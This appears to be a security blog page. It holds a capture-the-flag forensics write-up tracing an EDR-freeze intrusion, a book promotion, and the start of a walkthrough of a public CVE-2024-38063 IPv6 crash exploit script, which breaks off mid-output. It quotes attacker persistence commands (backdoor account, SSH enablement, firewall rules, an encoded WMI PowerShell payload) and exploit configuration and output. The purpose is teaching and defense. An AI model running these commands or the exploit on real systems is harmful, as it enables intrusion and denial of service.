CTF: Silence of the RAM - Tushar's Write-up

BIG shout out and thanks to Tushar Arora for putting this together for our SOC team. It is always exciting to see the junior analyst expand their minds, while supporting other's growth. I am very thankful for his willingness to put together this scenario and submit the formal write-up/solution as a blog post. Keep up the good work Tushar. You have my vote for being promoted to the next level😆

Thanks Tushar and much respect! ✌

----------------------------------------------- 

First-up, let’s start with the scenario provided, highlighting the information that might help us:

The Scenario

On December 03, 2025 at 06:59 AM UTC, the Help Desk received a ticket from a user reporting "my system became extremely sluggish and unresponsive, eventually freezing completely and forcing a system reboot."

Later, on the same day at 07:45 AM UTC it was transferred to the SOC team for review. When the SOC team attempted to correlate the user's report with EDR telemetry, they discovered a massive anomaly: The sensors were blind.

The logs reveal a complete "blackout" window leading up to the reboot. During this time, the EDR agent sent no heartbeats, no logs, and no alerts. SOC assumed that the host is offline.

However, since the system rebooted and came back online, the dashboard lit up. We are now seeing critical alerts indicating potential PowerShell and script engine activity which were blocked by the EDR. The high frequency of these alerts suggests an automated script or mechanism attempting to execute repeatedly, likely indicating persistence.

The SOC team believes the attacker used the "blackout" window to establish themselves.

Before isolating the host, the SOC team performed a "Smash and Grab" triage:

1. The SOC retrieved a suspicious executable found in the user's Recycle Bin.
2. They captured a System Memory Dump of the currently infected state.

Your mission, should you choose to accept: You have the "Dead" logs (Event Viewer) and the "Live" memory. Bridge the gap. Find out what happened during the silence, how they got back in, and identify the active command and control (C2) channel.

Objective:
Investigating the case in hand while covering incident response report basics: Who, What, When, Where Why, and How.

Evidence Package provided:
• Evidence/Memory.dmp: Full RAM capture taken post-reboot (Current Infection).
• Evidence/Logs:
• Raw EVTX: System, Security, PowerShell, SysMon logs exported from the victim.
• Artifacts/recovered_payload.zip: The executable retrieved from the Recycle Bin.

Unified Timeline Creation and Event Correlation:
Instead of correlating events across multiple log sources (System, Security, PowerShell, Sysmon), the raw .evtx artifacts were processed into a unified timeline using Eric Zimmerman’s EvtxECmd. This allows for identifying the sequence of events such as (Process Creation -> Service Stop -> File Deletion) from a single file.

Drawback: Timestamps in Unified timeline are not accurate to the seconds and are rounded up. For example: 2025-12-03T05:59:29.9509534Z becomes 5:59:30 AM UTC. Thus, to keep the accuracy, timestamps are validated from raw event log files itself.

By stitching together all the provided logs and sorting them by time, we created a master timeline that shows a complete sequence of all events that occurred during the incident, regardless of their log source, in a single file.

The Write-up

Overview:
Forensic analysis of the system logs and memory capture of host DESKTOP-4S97VHS confirmed that the host was compromised via a malicious file named AdobeFlashUpdate.exe downloaded through Microsoft Edge. The attacker successfully escalated privileges by injecting into the Local Security Authority Subsystem Service (lsass.exe), which was then used to drop and execute a specialized evasion tool (AdobeUdpate.exe). This tool utilized the Windows Error Reporting framework (WerFaultSecure.exe) to intentionally crash the Cortex XDR agent (cyserver.exe), creating the observed "blackout" window. The security blackout lasted approximately 50 minutes, beginning at 05:59:30 UTC when WerFaultSecure.exe was triggered to handle the crash, and ending when the system successfully rebooted at December 03, 2025 at 06:49:37 UTC.

During this period (50 minutes) of blindness, the attacker established persistence by creating a local administrator account named "servicemgmt", enabling the OpenSSH service, and modifying firewall rules to allow inbound traffic on port 22. Post-reboot, the attacker successfully regained access via SSH and attempted, but failed, to establish further persistence using WMI Event Subscriptions.

Figure 1: Map of threat actor's activities. 

Recommendations:
• Configure high-priority alerts for the unexpected termination or crashing of security agent processes.
• Disable the OpenSSH Server (sshd) on standard workstations unless explicitly required.
• Configure the perimeter firewall to only permit SSH

Next Steps:
• Perform a sweep of the environment for the attacker's IP 10.0.0.118 and the specific C2 port 1935 to identify any other potentially compromised hosts.
• Immediately disable/delete the unauthorized "servicemgmt" account and reset the credentials for the user "Vic." Investigate if domain credentials were scraped from memory during the lsass.exe injection.
• Immediately remove the active SSH connection, PID 3468.
• Search the SIEM for the file hashes associated with AdobeFlashUpdate.exe (SHA256:451C3BB3971A88BD08D0F463B33C682412F97651AE69329BC832022EDEAC7BFB) and the evasion tool AdobeUdpate.exe (SHA256:BCF5445A8036A0546C9DEE6F4FA3E49FC8B9D29D35EFDA24EBA1ED71EF6E4677).

Analysis:

While looking at the created timeline, multiple FileCreateStreamHash events (Event ID 15) were seen starting at 5:56:10 AM UTC. The last event in the stream indicated that a file named TargetFilename: C:\Users\Vic\Downloads\Unconfirmed 215709.crdownload:Zone.Identifier being downloaded from msedge.exe.

• Checking the zone identifier information to check where this file came from, the file was being referred from 10.0.0.118:3000 from file server location hxxp[://]10.0.0[.]118:8080/AdobeFlashUpdate[.]exe. 

Figure 1: File being downloaded as recorded under sysmon logs.

Q: Forensic artifacts indicate the initial payload was tagged with the 'Mark of the Web' (Zone.Identifier) upon creation. Analyze the file stream events. What is the Filename of the executable downloaded by the user's browser? From where it was downloaded?

A: AdobeFlashUpdate.exe | ReferrerUrl=http://10.0.0.118:3000/ HostUrl=http://10.0.0.118:8080/AdobeFlashUpdate.exe

• File hash after full download: 451C3BB3971A88BD08D0F463B33C682412F97651AE69329BC832022EDEAC7BFB 

• Searching for file hash reputation on threat intel feeds and Google dorks, no results were observed.

Figure 2: No file reputation as per hash search on Virus total.

Q: What is the Hostname and the Timezone offset (UTC+/-) of the workstation at the time of the incident?

A: DESKTOP-4S97VHS, UTC-8

[Detour: Timezone explanation]:
The workstation hostname was identified as DESKTOP-4S97VHS from the <Computer> field across Sysmon, Security, and System logs. It’s important to understand how Windows logs handle time:

---------------------------------

1. Logging Time (UTC):
Windows Event Logs store timestamps in UTC via the SystemTime field, also called Zulu time. This represents when the event was recorded, not the local time configured on the host. For example: 

For example: <TimeCreated SystemTime="2025-12-03T06:49:48.8155687Z" /> indicates when the event was logged, in UTC; and not the local timezone for the host.

Figure 3: Difference between local logged-time and the actual configured time on victim's machine.

2. Local Time (Human-Readable):
Some System events include local time rendered for human readability, such as Event ID 6008, which reported an unexpected shutdown at 10:28:17 PM on 2025-12-02, reflecting the workstation’s local time (shown above).

3. Configured Timezone (Bias):
The system’s actual timezone is defined by the bias, which specifies the difference between local time and UTC. Kernel-General Event ID 24 shows CurrentBias = 480, meaning 480 minutes must be added to local time to obtain UTC, corresponding to a UTC-8 offset. 

• UTC = Local Time + 8 hours
• Local Time = UTC − 8 hours

Figure 4: Looking for time zone BIAS, we found the bias is configured as 480.

By comparing the local shutdown time with the UTC logging timestamps, we confirm the workstation was configured with UTC-8 (PST) at the time of the incident. This illustrates the distinction between UTC logging time, locally rendered event time, and the persistent timezone configuration.

To learn more about time see:

𝗗𝗶𝗴𝗶𝘁𝗮𝗹 𝗙𝗼𝗿𝗲𝗻𝘀𝗶𝗰𝘀 𝗧𝗶𝗽: 𝗧𝗶𝗺𝗲 𝗭𝗼𝗻𝗲𝘀 𝗶𝗻 𝗪𝗶𝗻𝗱𝗼𝘄𝘀 𝗥𝗲𝗴𝗶𝘀𝘁𝗿𝘆 :
Remote Desktop Protocol: How to Use Time Zone Bias:
TimeZone Information:

---------------------------------

Going through the timeline, a network connection event was seen, which occurred right after the execution of AdobeFlashUpdate.exe. Notably, shortly after the network connection, command “whoami” was executed with parent process as AdobeFlashUpdate.exe.

• At 05:56:35 UTC, AdobeFlashUpdate.exe was launched by explorer.exe, suggesting a user mode execution.
• At 05:56:36 UTC, a network connection was initiated by the suspicious executable, towards destination IP 10.0.0.118 and port 1935
• Port 1935 is the default port used by the Real-Time Messaging Protocol (RTMP), a TCP-based protocol designed for low-latency transmission of audio, video, and data.
• This raises a few flags:
• Executable was not launched from a trusted installation path, and
• AdobeFlashUpdate.exe, if legitimate, should not be communicating with a streaming service port.
• Following this, command line “whoami” was seen at 05:56:50 UTC with parent process as C:\Users\Vic\Downloads\AdobeFlashUpdate.exe.
• This execution confirms Initial reconnaissance by AdobeFlashUpdate.exe.
• This also indicates that an initial reverse shell was established using AdobeFlashUpdate.exe.

Figure 5: AdobeFlashUpdate.exe establishing a network connection, which was followed by execution of whoami.exe

Shortly after the network connection, at 05:58:55 UTC, an unusual file create event was observed. Lsass.exe created an executable AdobeUdpate.exe under system folder (C:\Windows\System32\AdobeUdpate.exe).

File Hash: BCF5445A8036A0546C9DEE6F4FA3E49FC8B9D29D35EFDA24EBA1ED71EF6E4677

Treat intel verdict: 48/71 security vendors flagged this file as malicious.

 Figure 6: File is malicious as per threat intel.

• Note the intentional misspelled executable here; “AdobeUdpate” instead of “AdobeUpdate”.
• Even though, in case the executable name was something else and legitimate, lsass.exe or any other system process should not be writing any process into the system directory itself.
• In a live incident scenario, the hashes for both executables should have been blocked by now to contain the threat.

Figure 7: An executable was written by lsass.exe under system directory.

Further review of the event timeline indicates that the same lsass.exe process (PID 728) initiated the execution of cmd.exe (PID 5600) from the system directory. Subsequently, cmd.exe spawned a powershell.exe (PID 7336) process.

• This execution chain is anomalous, as lsass.exe does not normally launch command-line interpreters or scripting engines. Such behavior is indicative of potential process injection, credential abuse, or post-compromise activity and should be treated as suspicious.

Q: Post-infection, the attacker migrated to a critical system process to hide their presence. Logs show this system process behaving anomalously by writing a new binary to disk. What is the Image Name of this abused system process?

A: lsass.exe

Q: Identify the unauthorized executable written by the system process found in the previous question. What is the Filename of this dropped binary?

A: AdobeUdpate.exe

Figure 8: Process execution chain by lsass.exe

At 05:59:29 UTC, below command was executed from the above powershell (PID 7336).

Command executed: .\AdobeUdpate.exe 3280 50000

PID of AdobeUdpate.exe: 5712

• Command line indicates that 2 parameters were passed while execution, which is unclear as what they could be.  

Figure 9: Suspicious executable AdobeUdpate.exe was executed from powershell.

Just after the execution of AdobeUdpate from powershell, execution of WerFaultSecure.exe was seen in security logs at 05:59:30 UTC. 

• WerFault secure is the Windows Error Reporting framework which is used to collect crash dumps from protected processes (lsass, or any other antivirus process).

• Thus, if WerFaultSecure.exe was seen, that means a protected process might have crashed.

• Command observed: 
C:\Windows\System32\WerFaultSecure.exe /h /pid 3280 /tid 3284 /encfile 196 /cancel 264 /type 268310
• Note the pid in the above command (3280), which matches with the argument that was passed in the parent process AdobeUdpate.exe.

Figure 10: AdobeUdpate.exe triggered execution of WerFaultSecure.exe for a process with pid 3280.

Searching for the process ID 3280 under Sysmon logs, we can see that it belongs to Palo Alto Networks process cyserver.exe

 Figure 10.1: Additional evidence for PID 3280.

Q: [Updated]: The unauthorized executable in the previous question caused a process to crash. What is the name and PID of this process that crashed?

A: cyserver.exe with PID 3280

A quick internet search revealed that the cyserver.exe process specifically handles the communication and data exchange between the Traps agents deployed across the network and the Traps management console. It collects and aggregates security data from the agents, processes it, and generates reports for analysis and monitoring purposes.

Thus, based on these facts, it is evident that AdobeUdpate.exe utilized WerFaultSecure.exe to deliberately crash cyserver.exe. Since cyserver.exe is responsible for generating reports and logs, it is clear that this action caused the blackout mentioned by the SOC team.

Searching for any other processes executed by previous powershell (PID: 7336), ScriptBlock “net user /add servicemgmt MyP@ssw0rd” was observed at 06:01:33 UTC.

• This command creates a new user “servicemgmt” with the displayed password.

• The above indicates that the attacker created a new user perhaps for persistence.

Filtering security logs with event code 4720 (account creation), we can see the answer to the question.  

Figure 11: SID for newly created user.

Q: A local user account was created shortly before the system outage. What is the Security ID (SID) associated with this new principal?

A: servicemgmt | SID: S-1-5-21-3600098720-2357510703-1039409092-1004

Following this, multiple commands were observed from PowerShell as mentioned below:

Timestamp (in UTC)	Command	Purpose
06:01:56 UTC	Set-Service -Name sshd -StartupType Automatic	Configures the OpenSSH server service (sshd) to start automatically on boot. Ensures persistence across reboot.
06:01:58 UTC	start-service sshd	Immediately starts the OpenSSH service if it isn’t already running.
06:02:02 UTC	New-NetFirewallRule -DisplayName "OpenSSHService" -Protocol TCP -LocalPort 22 -Action Allow	Creates a Windows Firewall rule allowing inbound TCP port 22 (SSH). Opens the system to remote SSH connections.
06:04:19 UTC	net user	Lists all local user accounts on the system. Perhaps attacker is checking if “servicemgmt” was created
06:04:46 UTC	net localgroup administrators /add servicemgmt	Adds the user servicemgmt to the local Administrators group. Privilege escalation / persistence: grants full admin rights to a user.
06:16:22 UTC	net localgroup administrators	Lists all members of the Administrators group. Verification step: confirms the user was successfully added.
06:28:42	Get-Service sshd	Checks the status of the SSH service.
06:41:57	New-NetFirewallRule -DisplayName "OpenSSHServic" -Protocol TCP -LocalPort 22 -Action Allow	Creates another firewall rule allowing port 22 (note the slightly different name). Redundant or sloppy duplication: common in manual attacker activity or scripted persistence.

Figure 12: User added to administrator group.

Q: This new user was immediately added to a privileged local group. What is the RID (Relative ID) of that group?

A: 544

Q: Prior to the reboot, the system's network traffic filtering rules were altered via the command line. Locate the specific parameter used to name this new configuration. What is the DisplayName value?

A: OpenSSHService and OpenSSHServic

Figure 11: powershell logs showing firewall rules addition.

The above sequence indicates manual or scripted persistence via SSH backdoor setup on victim host.

Timestamps mentioned above are for the scriptblock creation events. A significant difference was seen between this and CommandInvocation event for the associated script.

• This supports the fact that the user mentioned their system became extremely sluggish and unresponsive. 

Focusing on PowerShell logs itself, starting at 06:53:46 UTC, there was a surge in PowerShell operational events. These events were related to PowerShell startup, execution of remote script and execution of pipeline.

One particular event was seen at 2025-12-03T06:53:54.5701428Z UTC, where script block text was “echo zhQemtXa; $jWQyd = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = "UPDATER"; Query = "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= 'msedge.exe'"; QueryLanguage = 'WQL'} $bvjH = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = "UPDATER"; CommandLineTemplate = "powershell.exe -nop -w hidden -noni -e aQBmACgAWw…A7AA=="} $jWQydToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding”

As per the command a WMI event filter named UPDATER was created which fires an event whenever msedge.exe is started.

Q: The attacker attempted to execute a script that failed which triggered alerts as mentioned by SOC team. Which standard Windows application was the Target of this script?

A: msedge.exe

Q: [Updated]: What exactly was the attacker trying to achieve from the above script?

A: WMI Persistence

Decoding the base64 using CyberChef, it shows a very strong indicator of an obfuscated, in‑memory payload, most commonly seen in fileless malware utilizing in-memory execution.

Figure 13: Attacker attempted to drop a fileless malware, or establish persistence using WMI event subscription.

On a good note, as per SOC, these Powershell and script engine activities, were blocked by the EDR.

Moving back to our initial timeline, at 6:49:39 AM UTC, a successful boot for the system was observed, which started at ‎06:49:37 UTC as indicated by system logs.

Figure 14: System reboot observed.

With the system reboot, Cortex XDR health service also started again, which helped in preventing the previously mentioned WMI persistence attempts.

Figure 15: Cortex XDR health service started again around 06:51:12 UTC

Q: "Calculate the exact duration of the security blackout. How many seconds elapsed between the execution of the binary used to disable the security-critical service and the subsequent Operating System startup. 

Note: A variance of +/- 5 seconds is accepted to account for log timestamp differences."

A: Approx. 3007 seconds

Explanation: The security blackout lasted approximately 50 minutes, beginning at 05:59:30 UTC when WerFaultSecure.exe was triggered to handle the crash, and ending when the system successfully rebooted at 06:49:37 UTC.

Phase 2: Analyzing malware file (Static Analysis)

As per the instructions, the file can be accessed from https://github.com/r00t36/CTF-Silence-of-the-RAM and opened on CyberChef to answer the questions:

• Decoding the base64 provided on the above link, we can see the Magic number ASCII “MZ” in the output which confirming that the deleted file was an executable.

Figure 16: Provided artifact is an executable.

Q: What is the SHA256 hash of the dropped executable provided in the artifacts?

A: Using SHA2 with 256 size, the SHA 256 hash for this executable was “bcf5445a8036a0546c9dee6f4fa3e49fc8b9d29d35efda24eba1ed71ef6e4677”.
• Searching this executable hash under master-timeline and Sysmon logs, it was confirmed that the hash belongs to AdobeUdpate.exe.

Q: What was the artifact name before deletion?

A: AdobeUdpate.exe

Figure 17: Deleted executable has same hash as AdobeUdpate.exe.

• Since SOC team recovered this from recycle bin it indicates that the attacker was probably trying to cover their tracks.
• Next, we utilized “strings” utility from cyberchef itself to look for executable metadata including readable strings, import functions and any details that might help in understanding the executable.
• Strings utility is used to perform static analysis of a file.
• Focusing on the highlighted output in the screenshot below, following can be inferred:

Figure 18: Performing static analysis using strings revealed its nature.

• Similar strings were observed as we noted earlier when WerFaultSecure.exe handled a crash related to PID 3280 (cyserver.exe).

Q: [Updated]: Analyze the malware strings. The evidence suggests the attacker exploits the system's native reaction to the process crash identified previously. What is the exact name of the Windows Reporting binary/process referenced in the strings, which the malware likely targets?

A: WerFaultSecure.exe

• Strings relating to “Target paused”, “WER paused”, “*create PPL process”, “Kill WER successfully/failed” indicates the artifacts functionality and the ASCII used in their development.
• Since we know that after the execution of AdobeUdpate.exe, cyserver.exe became unresponsive, it could relate to the “Target paused” seen here.
• Additionally, “WER paused” might indicate that at some point during the execution, AdobeUdpate paused Windows Error Reporting as well.
• Other strings reveal that the executable had the ability to create a PPL processes (process to run in protected state, example: any anti-malware service).
• Analyzing the strings further revealed the original name of the exploit (EDR-Freeze), a short description indicating that the tool is used to freeze EDRs as seen in our case and its path under the developers’ environment.

Figure 19: Executable metadata revealed its name, usage, and a short description.

Figure 20: Probably the executable path in developers’ environment.

Q: What does the artifact file name signify?

A: $R at the beginning of the artifact file signifies that the file resided in Recycle bin; this could mean cleanup activity.

Phase 3: Memory Forensics

Next, post-reboot we’ve a RAM capture for the host, which helped us in analyzing the events occurred afterwards.

Volatility3 was used to analyze the RAM capture (.dmp file), and the outputs from multiple Volatility plugins were exported to text files. Storing the plugin results in .txt format facilitated efficient review and eliminated the need to rerun plugins during subsequent analysis.

Figure 21: Volatility plugins output data was saved under txt files.

• Starting with the network connections, an “established” network connection was observed at 2025-12-03 07:04:56.000000 UTC from host IP 10.0.0.84 port 22 towards attackers IP 10.0.0.118 and port 47686.
• Owner responsible for the connection was sshd.exe with PID 3468.

Q: Analyze the active network connections in memory. What is the IP address of the attacker?

A: 10.0.0.118

Q: Which specific Windows service process (Image Name) is responsible for handling this outbound network connection?

A: sshd.exe

• As per the timestamp, the event occurred post-reboot indicating they’re inside the network after the system reboot, perhaps by utilizing the ssh changes they made earlier.

Figure 22: SSH connection towards attacker IP post-reboot.

• Searching for this PID 3468 under process tree, revealed that ssh process started at 06:49:53 UTC (around 15 seconds after reboot), and the network connection to attacker was established at 07:04:56 UTC.

Figure 23: SSH process originally started at 06:49:53 UTC

• Confirming all the SSH processes, 2 other child and grandchild ssh processes were observed. 

• PID for the final SSH process is 9772, which upon searching under Sysmon logs confirmed that it was executed under user “DESKTOP-4S97VHS\servicemgmt”.

Figure 24: SSH process tree (1); Final ssh process executed under user "servicemgmt" (2)

• Same can be confirmed from volatility windows.sessions as well to confirm the session information for the desired process.

Figure 25: Using volatility to confirm that ssh was running under servicemgmt user

• Filtering the files - Windows.filescan.FileScan - present in Recycle Bin of the host, it can be seen that the provided artifact ($RDK1PPK.exe) was under the user with SID S -1-5-21-3600098720-2357510703-1039409092-1001. The SID when checked - windows.getsids - belongs to user “Vic”.

Figure 26: Provided artifact was found under user "Vic" Recycle Bin

• To check the deletion time for the file, we utilized windows.mftscan.MFTScan. The deletion timestamp for the file $RDK1PPK.exe was 07:01:06.000000 UTC.

Q: The Master File Table (MFT) is a system file in the NTFS file system (having the name $MFT) that stores metadata information about all files and directories on an NTFS volume. Using this what was the Deletion Timestamp (UTC) associated with the above file from phase 2?

A: $RDK1PPK.exe  deleted at 07:01:06.000000 UTC

Figure 27: File deletion timestamp.

While performing additional analysis and looking for all the network connections to and from attacker IP 10.0.0.118; at 06:53:05 UTC, user servicemgmt had a network connection established from host 10.0.0.84 to attacker IP 10.0.0.118. During the connection, it executed AdobeFlashUpdate.exe again from C:\Users\Vic\Downloads\AdobeFlashUpdate.exe path.

• It is to be noted that this event occurred at 06:53:05 UTC and ssh auto-restarted at  06:49:53 UTC after the reboot. 

This event was then followed by network connections between 07:02:37-07:03:19 EST, where powershell.exe was involved as well.

• This is indicative of the events occurring while attacker still had access to the system and when they’re attempting to establish WMI persistence (around 06:53:54 UTC), and delete the evidences (07:01:06.000000 UTC) mentioned before.

Figure 28: Attacker relaunching AdobeFlashUpdate.exe post-reboot to gain reverse shell.

The network connections at 07:02:37 and 07:02:38 were towards attacker IP 10.0.0.118 and destination port 4444, which is commonly used for Metasploit handlers or reverse shells. Since these connections might have been terminated earlier, they did not appear in the memory dump. 

Before the observed network connections an SSH connection was also seen at 06:51:03 UTC originating from source IP 10.0.0.118 (attacker IP) towards destination host IP 10.0.0.84. Perhaps, this is the SSH connection that attacker used as a backdoor to regain access and then launched AdobeFlashUpdate to gain reverse shell as mentioned above, which was then followed by WMI persistence attempts to be more stealthy. 

Q: An administrative logon was observed from the above process. At what time first logon from this user was observed?

A: 06:51:06 UTC

Figure 29: SSH connection seen post-reboot

Figure 30: Security log confirming the logon.

Appendix 1:
Notable Events table

Timestamp (UTC)	Action / Event	Actor / Source	Context & Significance
5:56:10	File Download	msedge.exe	User downloads Unconfirmed...crdownload (Referenced from AdobeFlashUpdate.exe).
5:56:35	Process Execution	explorer.exe	User launches AdobeFlashUpdate.exe from Downloads.
5:56:36	Network Connection	AdobeFlashUpdate.exe	Connects to C2 10.0.0.118 on port 1935 (RTMP/Streaming port).
5:56:50	Command Execution	AdobeFlashUpdate.exe	Executes whoami. Indicates initial reconnaissance/reverse shell.
5:58:55	File Creation	lsass.exe	lsass.exe (System process) drops AdobeUdpate.exe (misspelled) into C:\Windows\System32. Lsass dropping a file indicate privilege escalation.
5:59:00	Process Injection	lsass.exe	lsass.exe spawns cmd.exe.
5:59:06	Script Execution	cmd.exe	cmd.exe spawns powershell.exe (PID 7336).
5:59:29	Evasion Tool Execution	powershell.exe	Executes .\AdobeUdpate.exe 3280 50000. Targeted PID 3280 is cyserver.exe (Cortex XDR).
5:59:30	Process Crash	WerFaultSecure.exe	WerFaultSecure.exe runs, indicating cyserver.exe (EDR) has crashed. "Blackout" Begins.
6:01:33	Persistence (Account)	powershell.exe	Creates backdoor user servicemgmt with password MyP@ssw0rd.
06:01:56 - 06:02:02	Persistence (SSH)	powershell.exe	Configures sshd to auto-start and opens Firewall Port 22.
6:04:46	Privilege Escalation	powershell.exe	Adds servicemgmt to Administrators group.
6:49:37	System Reboot	System	Kernel starts (Event ID 12). The system recovers from instability/crash.
6:49:53	Service Start	sshd.exe	OpenSSH service starts automatically post-reboot.
6:51:03	Re-Entry	sshd.exe	Attacker 10.0.0.118 connects via SSH to 10.0.0.84. "Blackout" Ends.
6:51:12	EDR Recovery	Service Control	Cortex XDR health service restarts.
6:53:05	Payload Execution	servicemgmt	Backdoor user executes AdobeFlashUpdate.exe again.
6:53:54	Persistence (WMI)	powershell.exe	Attempt to set up WMI Event Subscription which would trigger upon execution of msedge.exe (Blocked by EDR).
7:01:06	Anti-Forensics	Explorer/System	Malicious file deleted/moved to Recycle Bin.
7:04:56	C2 Established	sshd.exe	Active SSH tunnel confirmed in memory dump (PID 3468).

Once again, big thanks and much respect to Tushar for putting this together. As stated above, it is awesome to see the junior analysts expanding their minds while sharing knowledge. Keep up the good work!!

It is finally here! A Little Book On Adversarial AI - Get a FREE PDF Copy

Download a copy here: 

Download File: Little Note[Book] on Adversarial AI - Nik Alleyne.pdf

SHA256Sum: f7282afbdf15bbf2ed8fea70e1b0a27630a9c359a3a17f1b4cf274f599cd6ec6 

Over the past few months, I have been working on expanding my knowledge on Adversarial AI. Rather than putting together a bunch of blog posts, I decided to consolidate everything into one book.  

Along with this book, there are 63 labs, focusing on Adversarial AI and other aspects of machine and deep learning. These labs are released as Jupyter Notebooks, which are hosted at my GitHub repo dedicated to this book. 

As much as possible this book is self-contained. Nonetheless, the following background is important for readers to get the most out of this book and its associated Jupyter Notebooks. Note I am using Jupyter as part of VSCode. An intermediate knowledge and understanding of python. If you have already dabbled with building machine learning models and or have written a few scripts to solve your automation tasks or taken the SANS SEC595: Applied Data Science and AI/Machine Learning for Cybersecurity Professionals , then you should be good to go.

Alternatively, if you have not done any prior work with building machine learning models, my series on Beginning Machine and Deep Learning with Zeek logs is a good place to start. There is a lot of content there to get you up to speed relatively fast.

With that said, I’ve made every effort to add the necessary comments to the code, so that we are all clear on what the code is doing. 

Have fun learning!

Understanding Packet Crafting - The Windows IPv6 Vulnerability - CVE-2024-38063: Remote Kernel Exploitation via IPv6

First up, this post is significantly influenced by Miloš ynwarcs script for the above vulnerability. My objective here is to simplify the understanding of what the script is doing. If you intend to follow along, see: https://github.com/ynwarcs/CVE-2024-38063/tree/main for the original script.

In the SANS SEC503, we use Scapy a lot for instructing on packet crafting as well as doing lots of demos to reinforce topics around packets. We also spend some time talking about IPv6. As a result, I thought putting together a quick blog post explaining ynwarcs script would be a good way for someone to learn a bit about IPv6, as well as packet crafting, both at the same time.

Microsoft's FAQ states "An unauthenticated attacker could repeatedly send IPv6 packets, that include specially crafted packets, to a Windows machine which could enable remote code execution."

The vulnerability above affects various versions of Windows and seems to be associated with an integer underflow. More specifically it has to do with the way Windows handles IPv6 extension headers. Even more specifically, in this case, how Windows handles IPv6 reassembly via the reassembly header.

I first tried targeting Windows 10 using the script from ynwarcs GitHub repo, the system did not crash. Here is the system configuration.

Host Name:                 SEC504STUDENT
OS Name:                   Microsoft Windows 10 Enterprise
OS Version:                10.0.19044 N/A Build 19044
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:
Product ID:                00329-10186-30720-AA281
Original Install Date:     5/3/2022, 11:35:25 PM
System Boot Time:          9/20/2024, 4:28:04 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.

We can also see the IPv6 fragmented packets coming in and reassembly required.

C:\windows\system32>netsh interface ipv6 show ipstats
MIB-II IP Statistics
------------------------------------------------------
Forwarding is:                      Disabled
Default TTL:                        128
In Receives:                        46073
In Header Errors:                   9592
In Address Errors:                  16317
Datagrams Forwarded:                0
In Unknown Protocol:                0
In Discarded:                       0
In Delivered:                       30318
Out Requests:                       1019
Routing Discards:                   0
Out Discards:                       8
Out No Routes:                      0
Reassembly Timeout:                 60
Reassembly Required:                19110
Reassembled Ok:                     0
Reassembly Failures:                0
Fragments Ok:                       0
Fragments Failed:                   0
Fragments Created:                  0

What is surprising is that there is 0 "Reassembly Failures" and the system did not crash.

However, when I ran the script against Windows 11, the system crashed, resulting in a DoS.

C:\Users\securitynik>systeminfo | more

Host Name:                 SECURITYNIK-WIN
OS Name:                   Microsoft Windows 11 Pro
OS Version:                10.0.22621 N/A Build 22621
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Member Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          securitynik
Registered Organization:
Product ID:                00330-80000-00000-AA490
Original Install Date:     7/11/2023, 11:48:41 PM
System Boot Time:          9/20/2024, 10:10:53 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware20,1
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.

Now, time to understand what the packet crafting within the script is doing.

The script is first importing the Scapy functions via:

from scapy.all import *

Next up, it is looking for some configuration information:

iface=''
ip_addr=''
mac_addr=''
num_tries=20
num_batches=20

I set mine to the Windows 11 host configuration. 

C:\Users\securitynik>ipconfig /all | more

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : securitynik.local
   Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection
   Physical Address. . . . . . . . . : 00-0C-29-40-04-91
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   Site-local IPv6 Address . . . . . : fec0::6%1(Preferred)
   Link-local IPv6 Address . . . . . : fe80::ffae:463c:5b03:ed01%12(Preferred)
   IPv4 Address. . . . . . . . . . . : 10.0.0.108(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :

This represents the script initial configuration for my scenario.

iface='eth0' # <- This is the IP address of the attacking machine. In my case Kali Linux
ip_addr='fec0::6' # <- The Windows 11 target, IPv6 address
mac_addr='00:0C:29:40:04:91' # <- The MAC Address of the Windows 11 target host.
                                Note the change in format from "-" to ":"
num_tries=20    
num_batches=20

With the configuration out of the way, what is the function "get_packets_with_mac(i)" doing? Well upon closer look it seems it is doing basically the same thing as "get_packets(i)". The key difference seems to be that "get_packets_with_mac(i)" function is using the Ethernet header and setting the destination MAC via "Ether(dst=mac_addr)". "get_packets(i)" does not have this but it looks like everything else is basically the same. 

Updating my configuration.

iface='eth0' # <- This is the IP address of the attacking machine. In my case Kali Klinux
ip_addr='fec0::6' # <- The Windows 11 target, IPv6 address
mac_addr='' # Leaving this empty this time around
num_tries=20    
num_batches=20

Looking at the key part of the code which is the "get_packets(i)" function.

frag_id = 0xdebac1e + i

The "get_packets(i)" function takes a parameter "i", this I is coming from a for loop. Which means the "frag_id" is being incremented based on the number of tries. The fragment ID should be the same for all fragments within a "fragment train". This means that each of these fragments will be seen as a new fragment instead.

For example, if I set "num_batches" and "num_tries" above to 1, here is the output.

┌──(kali㉿securitynik)-[/tmp]
└─$ sudo python ./ipv6.py 
Get packets frag_id: 233548830   batch id: 0
Get packets frag_id: 233548830   batch id: 0
Sending packets
......
Sent 6 packets.
Memory corruption will be triggered in 51 seconds

Whereas, if I keep "num_tries" at 1 and change "num_batches" to 3, we see the fragment ID remains the same:

┌──(kali㉿securitynik)-[/tmp]
└─$ sudo python ./ipv6.py                                                                                            
Get packets frag_id: 233548830   batch id: 0     try: 0
Get packets frag_id: 233548830   batch id: 0     try: 0
Get packets frag_id: 233548830   batch id: 0     try: 0
Get packets frag_id: 233548830   batch id: 0     try: 0
Get packets frag_id: 233548830   batch id: 0     try: 0
Get packets frag_id: 233548830   batch id: 0     try: 0
Sending packets
..................
Sent 18 packets.
Memory corruption will be triggered in 51 seconds

If I set the "num_tries" to 3 and keep "num_batches" at 1, we see the change:

┌──(kali㉿securitynik)-[/tmp]
└─$ sudo python ./ipv6.py 
